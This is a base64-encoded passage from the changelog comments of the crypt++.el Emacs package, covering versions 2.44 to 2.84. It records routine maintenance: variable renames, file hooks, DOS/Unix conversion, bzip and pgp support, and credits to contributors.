cnlwdC1lbmNvZGluZy1hbGlzdCcgYW5kIGludHJvZHVjZSBuZXcgZnVuY3Rpb24KOzs7ICAgYChj cnlwdC1lbmNvZGluZy1jbGVhbnVwLXJlZ2V4cCknIHRvIGV4dHJhY3QgYSBjb21wcmVzc2lvbiBz cGVjaWZpYwo7OzsgICByZWdleHAgZm9yIGVycm9uZW91cyBtZXNzYWdlIG9yIGxpc3AgZXhwcmVz c2lvbiBmb3IgY2xlYW51cC4KOzs7IDIuNDQgLQo7OzsgICBscmQ6IG5ldyBlbGVtZW50IGZvciBg Y3J5cHQtZW5jb2RpbmctYWxpc3QnIGhhbmRsZXMgd2hldGhlciBvciBub3QKOzs7ICAgZmlsZS1u YW1lIGV4dGVuc2lvbiB0cmlja3MgbWF5IGJlIHBsYXkgd2l0aCBlbmNvZGluZyBtZXRob2Q7IGNv bXBhY3QgYW5kCjs7OyAgIGZyZWV6ZSB2YWx1ZXMgZGVmYXVsdCB0byBgY3J5cHQtY29tcGFjdC12 cy1DKysnIGFuZAo7OzsgICBgY3J5cHQtZnJlZXplLXZzLWZvcnRyYW4nICh0aGFua3MgdG8gcmp3 KTsKOzs7ICAgKGNyeXB0LWVuY29kaW5nLWV4dGVuc2lvbi10cmlja3MpOiBuZXcgZGVmdW4gdG8g aGFuZGxlIHRoaXM7Cjs7OyAgIChjcnlwdC1jaGVjay1leHRlbnNpb24tZm9yLWVuY29kaW5nKTog bW9uaXRvcnMgInRyaWNrcyIgZW50cnkgb2YKOzs7ICAgYGNyeXB0LWVuY29kaW5nLWFsaXN0JyBh bmQgYWRqdXN0IHRoZSBiYWcgb2YgdHJpY2tzIGl0IGNhbiBhcHBseS4KOzs7IDIuNDUgLQo7Ozsg ICBscmQ6IChjcnlwdC1lbmNvZGUtcmVnaW9uKTogZGVsZXRlIGVudGlyZSBtYXRjaCBvZiBjbGVh bnVwIHJlZ2V4cCBieQo7OzsgICByZXF1aXJpbmcgbmV3bGluZXMgaW4gR0FSQkFHRS1SRUdFWFAt T1ItTElTUEVYUC4gIChjcnlwdC1zdWJtaXQtcmVwb3J0KToKOzs7ICAgdXNlIFdhcnNhdydzIHJl cG9ydGVyLmVsLgo7OzsgMi40NiAtCjs7OyAgIGxyZDogKGNyeXB0LWZpbmQtZmlsZS1ob29rLCBj cnlwdC13cml0ZS1maWxlLWhvb2spOiBjbGVhbmVkLCBkb2N1bWVudGVkLAo7OzsgICBhbmQgcmVw bGFjZWQgb2NjdXJyZW5jZXMgb2YgYChjb25kIChDIEJPRFkpKScgd2l0aCBgKGlmIEMgQk9EWSkn Owo7OzsgICBjaGFuZ2VkIGBjcnlwdC1tYWdpYy1yZWdleHAnIHRvIGBjcnlwdC1lbmNyeXB0aW9u LW1hZ2ljLXJlZ2V4cCcgYW5kCjs7OyAgIGBjcnlwdC1tYWdpYy1yZWdleHAtaW52ZXJzZScgdG8g YGNyeXB0LWVuY3J5cHRpb24tbWFnaWMtcmVnZXhwLWludmVyc2UnCjs7OyAgIGZvciBjb25zaXN0 ZW5jeSB3aXRoIG90aGVyIHZhcmlhYmxlIG5hbWVzLiBuZXcgdXNlci1kZWZpbmVkIHZhcmlhYmxl Cjs7OyAgIGBjcnlwdC1lbmNyeXB0aW9uLW1pbm9yLW1vZGUtbmFtZScgaW5zdGVhZCBvZiBhbHdh eXMgIkNyeXB0Ii4gIGdyb3VwZWQKOzs7ICAgYWxsIGVuY3J5cHRpb24gdmFyaWFibGVzIHRvZ2V0 aGVyLgo7OzsgMi40NyAtCjs7OyAgIGxyZDogc29tZXdoYXQgbWFqb3IgY2hhbmdlIC0gcHV0IHBy b2dyYW0tc3BlY2lmaWMgZW5jcnlwdGlvbiB2YXJpYWJsZXMKOzs7ICAgaW50byBhIHNpbmdsZSB0 YWJsZSBgY3J5cHQtZW5jcnlwdGlvbi1hbGlzdCcgYW5kIGxldCB0aGUgdmFyaWFibGUKOzs7ICAg YGNyeXB0LWVuY3J5cHRpb24tdHlwZScgZGVmaW5lIHRoZSBhcHByb3ByaWF0ZSBlbnRyeSB0byB1 c2U7IG5ldwo7OzsgICB1c2VyLWRlZmluZWQgdmFyaWFibGUgYGNyeXB0LWNvbmZpcm0tcGFzc3dv cmQsJyB0aGFua3MgdG8gSmVmZiBDbGFyawo7OzsgICA8amNsYXJrQHNyYy5ob25leXdlbGwuY29t Pi4gKGNyeXB0LXN1Ym1pdC1yZXBvcnQpOiBpbXByb3ZlZCBlcnJvcgo7OzsgICBoYW5kbGluZywg dGhhbmtzIHRvIGJhdy4gKGNyeXB0LXdyaXRlLWZpbGUtaG9vayk6IGZpeGVkIGJ1ZyB3aXRoCjs7 OyAgIGBjcnlwdC1lbmNvZGluZy1leHRlbnNpb24tdHJpY2tzJwo7OzsgMi40OCAtCjs7OyAgIGxy ZDogYWRkZWQgZHVtbXkgYXJndW1lbnQgdG8gYGNyeXB0LWVuY29kaW5nLWFsaXN0JyBhbmQKOzs7 ICAgYGNyeXB0LWVuY3J5cHRpb24tYWxpc3QnIGFuZCBtZXJnZWQgYWxsIGRlZnVucyB0aGF0IHdv cmsgb24gdGhlaXIKOzs7ICAgZWxlbWVudHMgaW50byBkZWZ1bnMgdGhhdCBhbGwgc3RhcnQgd2l0 aCBgY3J5cHQtZ2V0LScgYW5kIGxvb2sgdGhyb3VnaAo7OzsgICBib3RoIGxpc3RzLiAgc2ltcGxp ZmllcyBzb21lIG9mIGNvZGUgYW5kIGNsb3NlciB0byB0cmVhdGluZyBlbmNyeXB0aW9uCjs7OyAg IGFzIGEgc3BlY2lhbCBjYXNlIG9mIGVuY29kaW5nOyBjcnlwdC1taW5vci1tb2RlLWFsaXN0OiBy ZXBsYWNlZCAobnRoICopCjs7OyAgIHdpdGggYChjcnlwdC1nZXQtbWlub3ItbW9kZSknIGNhbGw7 IChjcnlwdC1lbmNvZGUtcmVnaW9uKTogYWxsb3cKOzs7ICAgYXJndW1lbnRzIHRvIGJlIGxpc3Qg b2Ygc3RyaW5nczsgcmVuYW1lZCAoY3J5cHQtZ2V0LWVuY29kaW5nLXR5cGUpIHRvCjs7OyAgIChj cnlwdC1yZWFkLWVuY29kaW5nLXR5cGUpIGZvciBjbGFyaXR5Lgo7OzsgMi40OSAtIFtwb3N0ZWQg dG8gZ251LmVtYWNzLnNvdXJjZXNdCjs7OyAgIGxyZDogKGNyeXB0LWVuY29kZS1yZWdpb24pOiBp Z25vcmUgYGFyZ3MnIGlmIHNldCB0byB0Cjs7OyAyLjUwIC0KOzs7ICAgbHJkOiAoY3J5cHQtd3Jp dGUtZmlsZS1ob29rKTogaW4gdjE5IHdlIG5lZWQgdG8gY2FsbCBgYmFja3VwLWJ1ZmZlcicKOzs7 ICAgb3Vyc2VsdmVzIC0tIHdlIHdyaXRlIG91dCB0aGUgZmlsZSBhbmQgcmV0dXJuIHQgc28gYGJh c2ljLXNhdmUtYnVmZmVyJwo7OzsgICBkb2VzIG5vdCBkbyBpdDsgYWxzbyBjYWxsIGBzZXQtZmls ZS1tb2RlcycKOzs7IDIuNTEgLQo7OzsgICBscmQ6IHNvbWUgYGRlZnZhcidzIGFyZSBub3cgYGRl ZmNvbnN0J3MgYW5kIHRhci1tb2RlIG5vdGUgd2FzIGNoYW5nZWQuCjs7OyAyLjUyIC0KOzs7ICAg bHJkOiBtYWtlIGRvYyBzdHJpbmdzIGNvbmZvcm0gdG8gR05VIHN0YW5kYXJkcy4KOzs7IDIuNTMg LQo7OzsgICBscmQ6IG1hZGUgaGVhZGVyIGNvbmZvcm0gdG8gR05VIENvbnZlbnRpb25hbCBIZWFk ZXJzIHN0YW5kYXJkLgo7OzsgMi41NCAtCjs7OyAgIGxyZDogYGNyeXB0LWVuY3J5cHRpb24tZmls ZS1leHRlbnNpb24nLCBgY3J5cHQtZnJlZXplLXZzLWZvcnRyYW4nLAo7OzsgICBgY3J5cHQtY29t cGFjdC12cy1DKysnLCBgY3J5cHQtZW5jcnlwdGlvbi1tYWdpYy1yZWdleHAnLCBhbmQKOzs7ICAg YGNyeXB0LWVuY3J5cHRpb24tbWFnaWMtcmVnZXhwLWludmVyc2UnIGFyZSB1c2VkIGluIGRlZmlu aW5nIHRoZSB0YWJsZXMKOzs7ICAgYGNyeXB0LWVuY29kaW5nLWFsaXN0JyBhbmQgYGNyeXB0LWVu Y3J5cHRpb24tYWxpc3QnIGFuZCBzbyBuZWVkIHRvIGJlIHNldAo7OzsgICBfYmVmb3JlXyBsb2Fk aW5nIGNyeXB0KysuICB1c2UgYGFkZC1ob29rJyBpZiBpdCBpcyBhdmFpbGFibGUuCjs7OyAyLjU1 IC0KOzs7ICAgbHJkOiBuZXcgaW50ZXJhY3RpdmUgZnVuY3Rpb24gYGNyeXB0LWluc2VydC1maWxl JyBtaW1pY3MgYGluc2VydC1maWxlJwo7OzsgICBidXQgYXR0ZW1wdHMgdG8gZGVjb2RlIG9yIGRl Y3J5cHQgYmVmb3JlIGluc2VydGlvbjsgYm91bmQgYEMteCBpJyBpZgo7OzsgICBgY3J5cHQtYmlu ZC1pbnNlcnQtZmlsZScgaXMgbm9uLW5pbC4gIGNvbW1lbnQgb3V0IGRvYy1zdHJpbmdzIGZyb20K Ozs7ICAgaW50ZXJuYWwgc3Vicm91dGluZXMsIHNhdmVzIHNwYWNlLgo7OzsgMi41NiAtCjs7OyAg IHRmYjogY2hhbmdlIHRoZSBkZWZpbml0aW9ucyBvZiBjcnlwdC17ZW5jb2RpbmcsZW5jcnlwdGlv bn0tYWxpc3QsIHRvCjs7OyAgIGNhbGwgdGhlIGZ1bmN0aW9ucyBjcnlwdC1tYWtlLXtlbmNvZGlu ZyxlbmNyeXB0aW9ufS1hbGlzdCByZXNwLgo7OzsgICBBZGRlZCBjcnlwdC1yZWluaXQgd2hpY2gg cmVnZW5lcmF0ZXMgdGhlc2UgdmFyaWFibGVzIGZyb20gdGhlaXIKOzs7ICAgZnVuY3Rpb25zLCB0 aHVzIGFsbG93aW5nIHRoaXMgc3R1ZmYgdG8gYmUgcHJlbG9hZGVkIGV2ZW4gaWYgcGVvcGxlCjs7 OyAgIHNldCB0aGluZ3MgaW4gdGhlaXIgaW5pdCBmaWxlcy4KOzs7ICAgVGltIEJyYWRzaGF3IDx0 aW0uYnJhZHNoYXdAbWlkLWhlaWRlbGJlcmcuZGU+Cjs7OyAyLjU3IC0KOzs7ICAgbHJkOiB1bnRh YmlmeTsgcmVtb3ZlIGR1cGxpY2F0ZSBlbnRyeSBpbiBgY3J5cHQtbWFrZS1lbmNvZGluZy1hbGlz dCc7Cjs7OyAgIGNoYW5nZSBuYW1lIG9mIGBjcnlwdC1tYWtlLSotYWxpc3QnIHRvIGBjcnlwdC1i dWlsZC0qLWFsaXN0JyBhbmQKOzs7ICAgYGNyeXB0LXJlaW5pdCcgdG8gYGNyeXB0LXJlYnVpbGQt dGFibGVzJzsgKGNyeXB0LXJlYWQtc3RyaW5nLW5vLWVjaG8pOgo7OzsgICBjaGFuZ2UgbG9jYWwg dmFyaWFibGUgYGZvcm0nIHRvIGBoZWxwLWZvcm0nIHNvIGl0IGlzIGRlZmluZWQ7Cjs7OyAgIGBj cnlwdC1lbmNyeXB0aW9uLWFsaXN0JyBhbmQgYGNyeXB0LWVuY29kaW5nLWFsaXN0JyBtdXN0IGJl IGRlZmluZWQgd2l0aAo7OzsgICBgZGVmY29uc3QnIHNpbmNlIHdlIHdpc2ggY3J5cHQrKyB0byBp bml0aWFsaXplIHRoZXNlIHZhcmlhYmxlcwo7OzsgICB1bmNvbmRpdGlvbmFsbHk7IG1vZGlmeSBJ TlNUQUxMQVRJT04gc2VjdGlvbiB0byByZWZsZWN0IHRoZXNlIGNoYW5nZXMuCjs7OyAyLjU4IC0K Ozs7ICAgbHJkOiBkb2MgbW9kLgo7OzsgMi41OSAtIFtwb3N0ZWQgdG8gZ251LmVtYWNzLnNvdXJj ZXNdCjs7OyAgIGxyZDogKGNyeXB0LWJpbmQtaW5zZXJ0LWZpbGUpOiBuZXcgZnVuY3Rpb24gZm9y IGNoYW5naW5nICJDLXggaSIgaW4KOzs7ICAgaW5pdGlhbGl6YXRpb24gZmlsZSBvciBpbnRlcmFj dGl2ZWx5Lgo7OzsgMi42MCAtCjs7OyAgIGxyZDogYWRkIGBjcnlwdC1yZWJ1aWxkLXRhYmxlcycg YW5kIGBjcnlwdC1iaW5kLWluc2VydC1maWxlJyB0bwo7OzsgICBgYWZ0ZXItaW5pdC1ob29rJyBp biBHTlUgZW1hY3MgdjE5IGFuZCB0byBgdGVybS1zZXR1cC1ob29rJyBpbiBMdWNpZAo7OzsgICBl bWFjcy4gIENoYW5nZSBJTlNUQUxMQVRJT04gbm90ZXMuCjs7OyAyLjYxIC0gW3Bvc3RlZCB0byBn bnUuZW1hY3Muc291cmNlc10KOzs7ICAgbHJkOiBEb2MgbW9kLiAgQ2xlYW4gdXAgdGhlIGluc3Rh bGxhdGlvbiBvZiBtaW5vciBtb2RlIGluZGljYXRvcnMuCjs7OyAyLjYyIC0gW3Bvc3RlZCB0byBn bnUuZW1hY3Muc291cmNlc10KOzs7ICAgbHJkOiBpbnN0YWxsZWQgcGF0Y2ggZnJvbSBzdGlnQGhh Y2t2YW4uY29tIHRvIHNpbXBsaWZ5IGNyeXB0LWdldC0qIGRlZnVucwo7OzsgICAobm93IGRlZm1h Y3JvcykuICBEb24ndCBhZGQgdG8gYHRlcm0tc2V0dXAtaG9vaycgdW5sZXNzIG5vCjs7OyAgIGBh ZnRlci1pbml0LWhvb2snIF9hbmRfIGRlZmluaXRlbHkgcnVubmluZyB2MTksIG90aGVyd2lzZSBS b2QgZ2V0cyBhbgo7OzsgICBlcnJvciBhdCBob21lIDotPC4gIERvbid0IGFzc3VtZSBDLXggaSBo YWQgYGluc2VydC1maWxlJyBib3VuZCB0byBpdDoKOzs7ICAgc3RvcmUgb2xkIGJpbmRpbmcgaW4g YGNyeXB0LW9sZC1iaW5kaW5nJyBiZWZvcmUgb3ZlcndyaXRpbmcgYW5kIHVzZSBpbgo7OzsgICBm dW5jdGlvbiBgY3J5cHQtYmluZC1pbnNlcnQtZmlsZS4nCjs7OyAyLjYzIC0KOzs7ICAgbHJkOiAo Y3J5cHQtZW5jb2RlLWJ1ZmZlciwgY3J5cHQtZW5jb2RlLXJlZ2lvbiwgY3J5cHQtZW5jcnlwdC1i dWZmZXIsCjs7OyAgIGNyeXB0LWVuY3J5cHQtcmVnaW9uKTogY2hhbmdlZCBhcmd1bWVudCBsaXN0 IHB1dHRpbmcgb3B0aW9uYWwgYnVmZmVyCjs7OyAgIGxhc3QgYW5kIG1ha2luZyBkZWZhdWx0IGFj dGlvbiB0byBlbmNvZGUgb3IgZW5jcnlwdC4gKGNyeXB0LWVuY29kZWQtcCwKOzs7ICAgY3J5cHQt ZW5jcnlwdGVkLXApOiBuZXcgZnVuY3Rpb25zIHRoYXQgZG8gdGhlIGFjdHVhbCB0ZXN0aW5nIG9m IGZpbGUKOzs7ICAgY29udGVudHMuICAoY3J5cHQtZmluZC1maWxlKTogdXNlcyB0aGVzZSBuZXcg ZnVuY3Rpb25zLgo7OzsgICAoY3J5cHQtcmVidWlsZC1taW5vci1tb2Rlcy1hbGlzdCk6IG5ldyBm dW5jdGlvbiB0byByZWJ1aWxkCjs7OyAgIGBtaW5vci1tb2RlLWFsaXN0JyBjYWxsZWQgYnkgZnVu Y3Rpb24gY3J5cHQtcmVidWlsZC10YWJsZXMuCjs7OyAgIChjcnlwdC1idWlsZC1taW5vci1tb2Rl LWFsaXN0KTogbmV3IGZ1bmN0aW9uIGNhbGxlZCBieQo7OzsgICBgY3J5cHQtbWlub3ItbW9kZS1h bGlzdCcgdG8gY3JlYXRlIGl0c2VsZi4gIGBjcnlwdC1taW5vci1tb2RlLWVuY3J5cHRlZCcKOzs7 ICAgcmVtb3ZlZCBiZWNhdXNlIGRlZmluZWQgaW4gZnVuY3Rpb24gY3J5cHQtYnVpbGQtbWlub3It bW9kZS1hbGlzdC4KOzs7IDIuNjQgLQo7OzsgICBscmQ6IChjcnlwdC1maW5kLWZpbGUtaG9vayk6 IHRlbXBvcmFyaWx5IHJlbW92ZSB0aGUgZW5jcnl0aW9uIGZpbGUKOzs7ICAgZXh0ZW5zaW9uIHRv IGhlbHAgZGV0ZXJtaW5lIHRoZSBtYWpvciBtb2RlLCBqdXN0IGxpa2UgaXMgZG9uZSB3aXRoIHRo ZQo7OzsgICBlbmNvZGluZyBmaWxlIGV4dGVuc2lvbi4gIEluIG9yZGVyIGZvciB0aGlzIHRvIHdv cmsgcHJvcGVybHkgdGhlIGZpbGUKOzs7ICAgZXh0ZW5zaW9uIGluIGBjcnlwdC1lbmNyeXB0aW9u LWZpbGUtZXh0ZW5zaW9uJyBhbmQKOzs7ICAgYGNyeXB0LWVuY3J5cHRpb24tYWxpc3QnIG5lZWRz IHRvIGJlIGluc2lkZSBhIHBhaXIgb2YgXFwoIFxcKS4KOzs7IDIuNjUgLQo7OzsgICBscmQ6IChj cnlwdC1maW5kLWZpbGUtaG9vayk6IG1vdmUgZGV0ZXJtaW5hdGlvbiBvZiBrZXksIHBhc3N3b3Jk LCBpbnRvCjs7OyAgIChjcnlwdC1lbmNyeXB0ZWQtcCkuCjs7OyAyLjY2IC0KOzs7ICAgbHJkOiAo Y3J5cHQtc2V0LWVuY3J5cHRpb24ta2V5KTogaW1wcm92ZSBwcm9tcHQgc3RyaW5nIGZvciBlbmNy eXB0aW9uCjs7OyAgIGtleS4KOzs7IDIuNjcgLQo7OzsgICBscmQ6IChjcnlwdC13cml0ZS1maWxl LWhvb2spOiBtYWtlIGNoZWNrIGZvciBlbmNyeXB0aW9uIGZpbGUtbmFtZQo7OzsgICBleHRlbnNp b24gY2FzZS1zZW5zaXRpdmUuCjs7OyAyLjY4IC0KOzs7ICAgbHJkOiBmaXhlZCBjaGVjayBmb3Ig cHJldmlvdXMgYWRkaXRpb24gdG8gYG1pbm9yLW1vZGUtYWxpc3QnIC0tIHdhcyBub3QKOzs7ICAg d29ya2luZy4gQ2hlY2sgZm9yIGFuIGBhZGQtaG9vaycgZnVuY3Rpb247IGlmIG9uZSBkb2VzIG5v dCBleGlzdCB0aGVuCjs7OyAgIHVzZSBhIGNvcHkgb2Ygb25lIGZyb20gR05VIEVtYWNzIDE5LiAg V2hlbiB1c2luZyBgYWRkLWhvb2snIHRvIGFwcGVuZCB0bwo7OzsgICB0aGUgYHdyaXRlLWZpbGUt aG9va3MnIG1ha2Ugc3VyZSB0aGF0IHRoZSB2ZXJzaW9uIGFjY2VwdHMgdGhlIG9wdGlvbmFsCjs7 OyAgIEFQUEVORCBhcmd1bWVudCAtLSB2MTkncyBkb2VzIGJ1dCB0aGUgb25lIGluIHRoZSBlbGlz cCBhcmNoaXZlIGJ5IERhbgo7OzsgICBMYUxpYmVydGUgPGxpYmVydGVAY3MudWl1Yy5lZHU+IGRv ZXMgbm90IGFwcGVuZC4gIFRoaXMgY2F1c2VzIHByb2JsZW1zLgo7OzsgICBUaGFua3MgdG8gRnJh bmNlc2NvIFBvdG9ydGlgIDxwb3RAZmx5LkNOVUNFLkNOUi5JVD4gZm9yIHBvaW50aW5nIHRoaXMK Ozs7ICAgb3V0Lgo7OzsgMi42OSAtIFtwb3N0ZWQgdG8gZ251LmVtYWNzLnNvdXJjZXNdCjs7OyAg IGxyZDogZG9jIG1vZCB3aXRoIHJlZ2FyZHMgYGFmdGVyLWluaXQtaG9vaycgYW5kIEx1Y2lkIEVt YWNzLiAgQWRkCjs7OyAgIHBvaW50ZXIgdG8gY3J5cHQrKy1mbmYuZWwgZm9yIHBlb3BsZSB3aG8g bWlnaHQgYmUgaW50ZXJlc3RlZC4KOzs7IDIuNzAgLQo7OzsgICBscmQ6IG5hcnJvdyBjb25kaXRp b25zIHVuZGVyIHdoaWNoIGNyeXB0LWVuY3J5cHRpb24tbWFnaWMtcmVnZXhwCjs7OyAgIG1hdGNo ZXMuICBUaGFua3MgdG8gUGhpbGlwcGUgTWljaGVsIDxtaWNoZWxAdGhvbXNvbi1sY3IuZnI+IGFu ZCBGcmFuY29pcwo7OzsgICBQaW5hcmQgPHBpbmFyZEBpcm8udW1vbnRyZWFsLmNhPiBmb3IgaGVs cGluZyBleHBsYWluIHRoaXMgd2l0aCByZWdhcmRzCjs7OyAgIHRvIElTTy9MYXRpbi0xLgo7Ozsg Mi43MSAtCjs7OyAgIGxyZDogYXBwbGllZCBwYXRjaGVzIGZyb20gRGFycmluIEpld2VsbCA8amV3 ZWxsQGJkaS5jb20+IGZvciBET1MgdG8gVU5JWAo7OzsgICBzdXBwb3J0LiAgRE9TIGVudHJ5IGFk ZGVkIHRvIGNyeXB0LWJ1aWxkLWVuY29kaW5nLWFsaXN0Lgo7OzsgICAoY3J5cHQtZG9zLXRvLXVu aXgtcmVnaW9uLCBjcnlwdC11bml4LXRvLWRvcy1yZWdpb24pOiBOZXcKOzs7ICAgZnVuY3Rpb25z LiAoY3J5cHQtZG9zLWhhcy1jdHJsLXopOiBOZXcgYnVmZmVyLWxvY2FsIHZhcmlhYmxlLgo7Ozsg ICAoY3J5cHQtZW5jb2RlLXJlZ2lvbik6IGFsbG93IGZvciBlbmNvZGluZyBhbmQgZGVjb2Rpbmcg cHJvZ3JhbXMgdG8gYmUKOzs7ICAgZWxpc3AgZXhwcmVzc2lvbnMuICBJZiB0aGV5IGFyZSB0aGVu IGFwcGx5IHRoZW0gZGlyZWN0bHkgdG8gcmVnaW9uLgo7OzsgICBQb2ludCBvdXQgdGhhdCBjcnlw dCsrLmVsIGNvbmZsaWN0cyB3aXRoIGRvcy1tb2RlLmVsLgo7OzsgMi43MiAtCjs7OyAgIGxyZDog VGhlIGxpbWl0IGZvciB0aGUgcmVndWxhciBleHByZXNzaW9uIHNlYXJjaCBkb25lIGJ5Cjs7OyAg IGBjcnlwdC1lbmNyeXB0ZWQtcCcgaXMgZXh0ZW5kZWQgdG8gMTAwIGJ5IGRlZmF1bHQuICBUaGUg ZW5sYXJnZW1lbnQgb2YKOzs7ICAgc2VhcmNoIGZpZWxkIGlzIG5lZWRlZCBiZWNhdXNlIG9mIHBy ZXZpb3VzIHJlZHVjdGlvbiBpbiBzaXplIG9mIHJlZ2V4cAo7OzsgICBiZWluZyBzZWFyY2hlZCBm b3IuICAoY3J5cHQtbWFnaWMtc2VhcmNoLWxpbWl0KTogTmV3IHZhcmlhYmxlIGRlZmluaW5nCjs7 OyAgIHRoaXMgbmV3IGxpbWl0LiAgKGNyeXB0LWVuY3J5cHRlZC1wKTogVXNlcyBpdCBhbmQgY2xl YW5lZCB1cC4gIERvYyBtb2QuCjs7OyAgIFRoYW5rcyB0byBQaGlsaXBwZSBNaWNoZWwgPG1pY2hl bEB0aG9tc29uLWxjci5mcj4sIEZyYW5jb2lzIFBpbmFyZAo7OzsgICA8cGluYXJkQGlyby51bW9u dHJlYWwuY2E+LCBhbmQgRGF2ZSBHb2xkYmVyZyA8ZHNnQGJsYWNrYmlyZC5taXRyZS5vcmc+Lgo7 OzsgMi43MyAtIFtwb3N0ZWQgdG8gZ251LmVtYWNzLnNvdXJjZXNdCjs7OyAgIGxyZDogQXBwbHkg cGF0Y2ggZnJvbSBLZXZpbiBSb2RnZXJzIDxrZXZpbkB0cmFmZmljLmRlbi5tbWMuY29tPiB0aGF0 Cjs7OyAgIHVzZXMgbW9yZSB2ZXJib3NlIG1lc3NhZ2VzIGFuZCBjYXBpdGFscy4gIERvYyBtb2Qu Cjs7OyAyLjc0IC0KOzs7ICAgbHJkOiBVbnRhYmlmeS4gIChjcnlwdC1lbmNyeXB0ZWQtcCk6IENo ZWNrIHZhbHVlIG9mCjs7OyAgIGBjcnlwdC1uZXZlci1ldmVyLWRlY3J5cHQnIGJlZm9yZSBhbnl0 aGluZyBlbHNlLgo7OzsgMi43NSAtCjs7OyAgIGxyZDogKGNyeXB0LXZlcnNpb24pOiBSZW1vdmUg Y2FsbCB0byBgc3Vic3RyaW5nJy4KOzs7IDIuNzYgLQo7OzsgICBscmQ6IChjcnlwdC1lbmNyeXB0 aW9uLW1hZ2ljLXJlZ2V4cC1pbnZlcnNlKTogQWRkIGluIHJlZ2V4cCB0aGF0IHdpbGwKOzs7ICAg bWF0Y2gga3NoIGAuc2hfaGlzdG9yeScgZmlsZXMgc28gdGhhdCB0aGV5IGFyZSBub3QgaW50ZXJw cmV0ZWQgYXMKOzs7ICAgZW5jcnlwdGVkIGZpbGVzLiAgVGhhbmtzIHRvIEZyYW5jZXNjbyBQb3Rv cnRpYCA8cG90QGZseS5DTlVDRS5DTlIuSVQ+Lgo7OzsgMi43NyAtIFtwb3N0ZWQgdG8gZ251LmVt YWNzLnNvdXJjZXNdCjs7OyAgIGxyZDogKGNyeXB0LWJpbmQtaW5zZXJ0LWZpbGUpOiBVc2Ugc3Vi c3RpdHV0ZS1rZXktZGVmaW5pdGlvbiB0byBiaW5kCjs7OyAgIGNyeXB0LWluc2VydC1maWxlIHRv IHdoYXRldmVyIGtleSBpbnNlcnQtZmlsZSBpcyBib3VuZCB0byAobm90Cjs7OyAgIG5lY2Vzc2Fy aWx5IEMteCBpKS4gIENhbGwgY3J5cHQtYmluZC1pbnNlcnQtZmlsZSBkaXJlY3RseSBpbgo7Ozsg ICBmaWxlLiBWYXJpYWJsZSBjcnlwdC1iaW5kLWluc2VydC1maWxlOiBEb2MgbW9kLiAgUmVtb3Zl Cjs7OyAgIGNyeXB0LW9sZC1iaW5kaW5nLiAgUmVwbGFjZSBgTS14IGZvb2JhcicgaW4gZG9jIHN0 cmluZ3Mgd2l0aAo7OzsgICBgXFxbZm9vYmFyXScuCjs7OyAyLjc4IC0KOzs7ICAgbHJkOiAoY3J5 cHQtYXV0by13cml0ZS1hbnN3ZXItbG9jYWwpOiBOZXcgaW50ZXJuYWwgdmFyaWFibGUuICBIb2xk cwo7OzsgICBhbnN3ZXIgdG8gcXVlcnkgYWJvdXQgZmlsZS1leHRlbnNpb24gdHJpY2tzIHF1ZXN0 aW9uIHBlciBidWZmZXIuICBUaGFua3MKOzs7ICAgdG8gR2VvcmdlIEZvcm1hbiA8Zm9ybWFuQGNz Lndhc2hpbmd0b24uZWR1Pi4gIFJlbW92ZSBSb2QgZnJvbSBsaXN0IG9mCjs7OyAgIG1haW50YWlu ZXJzLi4uaGUncyBidXN5IGVub3VnaC4gIE1lcmdlIG11bHRpcGxlIHNldHEgZm9ybXMgaW50byBz aW5nbGUKOzs7ICAgc2V0cSBmb3Jtcy4KOzs7IDIuNzkgLQo7OzsgICBscmQ6IChjcnlwdC15LW9y LW4tcCk6IE5ldyBpbnRlcm5hbCBmdW5jdGlvbiBmb3IgcXVlcnlpbmcuICBUZXN0cyB0aGUKOzs7 ICAgaW50ZXJuYWwgdmFyaWFibGUgY3J5cHQtYXV0by13cml0ZS1hbnN3ZXItbG9jYWwgdG8gZW5z dXJlIHNpbmdsZSBxdWVyeS4KOzs7ICAgKGNyeXB0LWNoZWNrLWV4dGVuc2lvbi1mb3ItZW5jb2Rp bmcpOiBSZXBsYWNlIGFsbCBvY2N1cnJlbmNlcyBvZiBxdWVyaWVzCjs7OyAgIGludm9sdmluZyB5 LW9yLW5vLXAgY29uc3RydWN0cyB3aXRoIGNyeXB0LXktb3Itbi1wLgo7OzsgMi44MCAtIFtwb3N0 ZWQgdG8gZ251LmVtYWNzLnNvdXJjZXNdCjs7OyAgIGxyZDogKGNyeXB0LXNldC1lbmNyeXB0aW9u LWtleSk6IFNob3J0ZW4gaW50ZXJhY3RpdmUgcHJvbXB0LiAgQ2hhbmdlCjs7OyAgIGRvY3VtZW50 YXRpb24uCjs7OyAyLjgxIC0KOzs7ICAgbHJkOiAoY3J5cHQtdmFyaWFibGUtbGlzdCk6IEFkZCBz aGVsbCBhbmQgcGF0aCB2YXJpYWJsZXMuCjs7OyAgIChjcnlwdC1jb25maXJtLXBhc3N3b3JkKTog Rml4IHNwZWxsaW5nIGVycm9yIGluIGRvYy4KOzs7IDIuODIgLQo7OzsgICBscmQ6IEFwcGxpZWQg cGF0Y2ggZnJvbSBOb2FoIEZyaWVkbWFuIDxmcmllZG1hbkBwcmVwLmFpLm1pdC5lZHU+Lgo7Ozsg ICAoY3J5cHQtZW5jb2RlZC1kaXNhYmxlLWF1dG8tc2F2ZSwgY3J5cHQtZW5jcnlwdGVkLWRpc2Fi bGUtYXV0by1zYXZlKToKOzs7ICAgTmV3IHVzZXItZGVmaW5lZCB2YXJpYWJsZXMuIChjcnlwdC1l bmNvZGVkLW1vZGUsIGNyeXB0LWVuY3J5cHRlZC1tb2RlKToKOzs7ICAgVXNlIHRoZW0uCjs7OyAy LjgzIC0gMmZlYjk4Cjs7OyAgIGtiOiBDaGFuZ2VkIG9jY3VycmVuY2VzIG9mIHJvZWJsaW5nLiAg RG8gKHNldC12aXNpdGVkLWZpbGUtbmFtZSkuCjs7OyAgIEluY29ycG9yYXRlIHBhdGNoZXMgZnJv bSBEYXZpZCBSb3NpbmdlciA8ZHNyb3NpbmdAaW5nci5jb20+IGZvciB3aW4zMi4KOzs7IDIuODQg LSAyMG1hcjk4Cjs7OyAgIGtiOiBBcHBsaWVkIFhFbWFjcyAyLjgzIHBhdGNoIGJ5IGhuaWtzaWMg dG8gYWRkIGN1c3RvbSBzdXBwb3J0Lgo7OzsgICBTdXBwb3J0IC50Z3ogYXMgLnRhci5nei4KOzs7 ICAgQWRkIGJ6aXAgc3VwcG9ydC4KOzs7ICAgTWVyZ2UgcGdwIHN1cHBvcnQgZnJvbSBKb2huIEhl aWRlbWFubiA8am9obmhAaXNpLmVkdT4sCjs7OyAgICBodHRwOi8vd3d3LmlzaS5lZHUvfmpvaG5o 